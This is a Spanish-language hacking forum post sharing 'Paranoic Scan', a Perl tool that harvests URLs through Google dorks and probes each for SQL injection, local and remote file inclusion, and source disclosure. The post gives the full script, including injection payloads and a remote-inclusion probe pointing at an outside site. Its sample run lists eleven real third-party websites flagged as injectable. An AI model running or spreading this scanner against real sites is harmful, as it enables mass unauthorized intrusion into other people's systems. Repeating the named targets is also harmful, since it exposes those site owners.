Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: BigBear en 8 Octubre 2011, 16:56 pm



Título: [Perl] Paranoic Scan By Doddy H
Publicado por: BigBear en 8 Octubre 2011, 16:56 pm
Hola.

Hoy traigo un programa que eh estado haciendo porque estaba harto de ir probando cada
web que encontraba en google para saber si tenia la vulnerabilidad que queria
Asi que por eso hice esta tool , con las siguientes opciones

* Permite scaner un archivo con webs
* Permite buscar en google , borrar repes , y luego scanear


Tipos de scan :

* SQL
* LFI
* RFI
* FULL SOURCE DISCLOURE



Ejemplo de uso


Código:



@@@@@   @   @@@@     @   @@  @@@  @@@   @@@  @@@@     @@@   @@@@    @   @@  @@@
 @  @   @    @  @    @    @@  @  @   @   @  @   @    @  @  @   @    @    @@  @
 @  @  @ @   @  @   @ @   @@  @ @     @  @ @         @    @        @ @   @@  @
 @@@   @ @   @@@    @ @   @ @ @ @     @  @ @          @@  @        @ @   @ @ @
 @    @@@@@  @ @   @@@@@  @ @ @ @     @  @ @            @ @       @@@@@  @ @ @
 @    @   @  @  @  @   @  @  @@  @   @   @  @   @    @  @  @   @  @   @  @  @@
@@@  @@@ @@@@@@  @@@@ @@@@@@  @   @@@   @@@  @@@     @@@    @@@  @@@ @@@@@@  @




[a] : Scan a File
[b] : Search in google and scan the webs

[option] : b

[+] Dork : ficha.php+id
[+] Pages : 200


[+] Scan Type :

[S] : SQL
[L] : LFI
[R] : RFI
[F] : Full Source Discloure
[A] : All


[Option] : s

[Google] : www.google.com.ar
[Dork] : ficha.php+id
[Pages] : 200

[+] Searching pages..
[+] Cleaning results

[Status] : Scanning
[Webs Count] : 136

[+] SQLI : http://www.3tres3.com/opinion/ficha.php?id=
[+] SQLI : http://www.vincipark.es/ficha.php?id=
[+] SQLI : http://www.maxhuber.cl/ficha.php?id=
[+] SQLI : http://www.alddeaviviendas.com/sitio/ficha.php?id=
[+] SQLI : http://www.bvocal.org/ficha.php?id=
[+] SQLI : http://www.animadas.com/artista-ficha.php?id=
[+] SQLI : http://www.madamedepompadour.cl/ficha.php?id=
[+] SQLI : http://codigo-civil.org/base/ficha.php?id=
[+] SQLI : http://www.cibercolchon.com/ficha.php?id=
[+] SQLI : http://www.100citiesinitiative.org/ficha.php?ID=
[+] SQLI : http://www.nibbledpencil.com/ficha.php?id=

[Status] : Finish



(C) Doddy Hackman 2010


Codigo
Código
  1.  
  2. #!usr/bin/perl
  3. #Paranoic Scan 0.4
  4. #(c)0ded by Doddy H 2010
  5.  
  6. use LWP::UserAgent;
  7. use HTTP::Request::Common;
  8. use URI::Split qw(uri_split);
  9.  
  10. my $nave = LWP::UserAgent->new();
  11. $nave->timeout(5);
  12. $nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
  13.  
  14.  
  15.  
  16.  
  17.  
  18. sub head {
  19. system 'cls';
  20.  
  21.  
  22. @@@@@   @   @@@@     @   @@  @@@  @@@   @@@  @@@@     @@@   @@@@    @   @@  @@@
  23. @  @   @    @  @    @    @@  @  @   @   @  @   @    @  @  @   @    @    @@  @
  24. @  @  @ @   @  @   @ @   @@  @ @     @  @ @         @    @        @ @   @@  @
  25. @@@   @ @   @@@    @ @   @ @ @ @     @  @ @          @@  @        @ @   @ @ @
  26. @    @@@@@  @ @   @@@@@  @ @ @ @     @  @ @            @ @       @@@@@  @ @ @
  27. @    @   @  @  @  @   @  @  @@  @   @   @  @   @    @  @  @   @  @   @  @  @@
  28. @@@  @@@ @@@@@@  @@@@ @@@@@@  @   @@@   @@@  @@@     @@@    @@@  @@@ @@@@@@  @
  29.  
  30.  
  31.  
  32.  
  33. );
  34. }
  35. &menu;
  36. sub menu {
  37. &head;
  38. print "[a] : Scan a File\n";
  39. print "[b] : Search in google and scan the webs\n\n";
  40. print "[option] : ";
  41. chomp(my $op = <STDIN>);
  42. if ($op=~/a/ig) {
  43. print "\n[+] Wordlist : ";
  44. chomp(my $word = <STDIN>);
  45. @paginas = repes(savewords($word));
  46. my $option = &men;
  47. scan($option,@paginas);
  48. }
  49. elsif ($op=~/b/ig) {
  50. print "\n[+] Dork : ";
  51. chomp(my $dork = <STDIN>);
  52. print "[+] Pages : ";
  53. chomp(my $pag = <STDIN>);
  54. my $option = &men;
  55. @paginas = &google("www.google.com.ar",$dork,$pag);
  56. scan($option,@paginas);
  57. }
  58. else {
  59. &menu;
  60. }
  61. }
  62. sub scan {
  63. my ($option,@webs) = @_;
  64. print "\n[Status] : Scanning\n";
  65. print "[Webs Count] : ".int(@webs)."\n\n";
  66. for(@webs) {
  67. if ($option=~/S/ig) {
  68. &sql($_);
  69. }
  70. if ($option=~/L/ig) {
  71. &lfi($_);
  72. }
  73. if ($option=~/R/ig) {
  74. &rfi($_);
  75. }
  76. if ($option=~/F/ig) {
  77. &fsd($_);
  78. }
  79. if ($option=~/A/ig) {
  80. &sql($_);
  81. &lfi($_);
  82. &rfi($_);
  83. &fsd($_)
  84. }
  85. }
  86. }
  87. print "\n[Status] : Finish\n";
  88. &finish;
  89.  
  90.  
  91. sub toma {
  92. return $nave->request (GET $_[0])->content;
  93. }
  94.  
  95.  
  96. sub savefile {
  97. open (SAVE,">>logs/".$_[0]);
  98. print SAVE $_[1]."\n";
  99. close SAVE;
  100. }
  101.  
  102. sub finish {
  103. print "\n\n\n(C) Doddy Hackman 2010\n\n";
  104. <STDIN>;
  105. exit(1);
  106. }
  107.  
  108.  
  109. sub google {
  110. print "\n[Google] : $_[0]\n[Dork] : $_[1]\n[Pages] : $_[2]\n\n[+] Searching pages..\n";
  111. for ($pages=0;$pages<=$_[2];$pages=$pages+10) {
  112. $response = toma("http://$_[0]/search?hl=&q=$_[1]&start=$pages");
  113. while ($response=~m/<h3 class=.*?<a href="([^"]+).*?>(.*?)<\/a>/g) {
  114. push(@founds,$1);
  115. }}
  116. print "[+] Cleaning results\n";
  117. for(@founds) {
  118. $t = clean($_);
  119. push(@r,$t);
  120. }
  121. return(repes(@r));
  122. }
  123.  
  124.  
  125. sub sql {
  126. my ($pass1,$pass2) = ("+","--");
  127. my $page = shift;
  128. $code1 = toma($page."-1".$pass1."union".$pass1."select".$pass1."666".$pass2);
  129. if ($code1=~/The used SELECT statements have a different number of columns/ig) {
  130. print "[+] SQLI : $page\a\n";
  131. savefile("sql-logs.txt",$page);
  132. }}
  133.  
  134. sub rfi {
  135. my $page = shift;
  136. $code1 = toma($page."http:/www.supertangas.com/");
  137. if ($code1=~/Los mejores TANGAS de la red/ig) { #Esto es conocimiento de verdad xDDD
  138. print "[+] RFI : $page\a\n";
  139. savefile("rfi-logs.txt",$page);
  140. }}
  141.  
  142. sub lfi {
  143. my $page = shift;
  144. $code1 = toma($page."'");
  145. if ($code1=~/No such file or directory in <b>(.*)<\/b> on line/ig) {
  146. print "[+] LFI : $page\a\n";
  147. savefile("lfi-logs.txt",$page);
  148. }}
  149.  
  150.  
  151. sub fsd {
  152. my $page = shift;
  153. my ($scheme, $auth, $path, $query, $frag)  = uri_split($page);
  154. if ($path=~/\/(.*)$/) {
  155. my $me = $1;
  156. $code1 = toma($page.$me);
  157. if ($code1=~/header\((.*)Content-Disposition: attachment;/ig) {
  158. print "[+] Full Source Discloure : $page\a\n";
  159. savefile("fpd-logs.txt",$page);
  160. }}}
  161.  
  162. sub repes {
  163. foreach my $palabra ( @_ ) {
  164. next if $repety{ $palabra }++;
  165. push @revisado,$palabra;
  166. }
  167. return @revisado;
  168. }
  169.  
  170. sub savewords {
  171. open (FILE,$_[0]);
  172. @words = <FILE>;
  173. close FILE;
  174. for(@words) {
  175. $t = clean($_);
  176. push(@r,$t);
  177. }
  178. return(@r);
  179. }
  180.  
  181. sub men {
  182. print "\n\n[+] Scan Type : \n\n";
  183. print "[S] : SQL\n";
  184. print "[L] : LFI\n";
  185. print "[R] : RFI\n";
  186. print "[F] : Full Source Discloure\n";
  187. print "[A] : All\n\n";
  188. print "\n[Option] : ";
  189. chomp(my $option = <STDIN>);
  190. return $option;
  191. }
  192.  
  193. sub clean {
  194. if ($_[0] =~/\=/) {
  195. my @sacar= split("=",$_[0]);
  196. return(@sacar[0]."=");
  197. }
  198. }
  199.  
  200. #The End
  201. #Contact : doddy-hackman[at]hotmail[com]
  202. #blog : doddy-hackman.blogspot.com